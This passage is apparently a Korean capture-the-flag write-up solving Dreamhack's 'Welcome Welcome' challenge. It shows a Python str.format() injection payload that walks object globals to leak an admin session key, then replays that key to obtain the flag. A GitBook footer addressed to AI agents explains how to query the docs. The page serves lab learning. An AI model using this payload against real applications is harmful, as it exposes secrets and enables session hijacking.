> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-welcome-welcome.md).

# \[Dreamhack] Welcome Welcome

Python의 \`str.format()\` 함수를 사용 시 발생하는 SSTI 취약점 문제. \
유저가 입력한 \`name\`이 \`render\` 함수 내에서 \`(self)\`와 결합되어 \`f-string\` 과 \`.format()\`으로 처리된다.

```
def render(self, fmt):
    return fmt.format(self=self)
```

\
문제에서 제공하는 render 함수를 보면 전달받은 문자열 fmt에 self 객체를 바인딩하여 포맷팅하는 것을 확인할 수 있다. 우리가 name 값에 포맷팅 문법을 넣으면 파이썬은 이를 코드로 해석해 실행시킬 수 있다.\
따라서 Python 객체 구조를 따라가 전역 변수인 contexts를 찾아 self 객체에 접근한다.

```
`/?name={self.__init__.__globals__[contexts]}`
```

첫번째로 위의 페이로드를 작성해준다. 전체 context 딕셔너리를 출력해준 뒤 self 인스턴스의 생성자 함수가 정의된 전역 네임스페이스에 접근한다.&#x20;

```
Hello, /?name={'6c77c1636915f5fd84f3bcefc13b5b893fbc8604ce8406c1061628a2a6804912a7ece9639ebc48e7396390303e30d5d2b486d07740712bf82503f8eec651b2aa': <__main__.Context object at 0x7fbcb2470ec0>, 'Stranger': <__main__.Context object at 0x7fbcb24c8190>, '/?name={self.__init__.__globals__[contexts]}': <__main__.Context object at 0x7fbcb2514190>}!

Hello, /?name={self.__init__.__globals__[contexts]}! Welcome to my website :D
```

위와 같이 admin 세션 키를 탈취할 수 있다.\
이제 이를 페이로드에 붙여 보내면 된다.

```
/?name=6c77c1636915f5fd84f3bcefc13b5b893fbc8604ce8406c1061628a2a6804912a7ece9639ebc48e7396390303e30d5d2b486d07740712bf82503f8eec651b2aa
```

```
DH{I_w4nt_m0re_w3lcome_mess49e5}
```

다음과 같이 플래그가 나온다.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-welcome-welcome.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
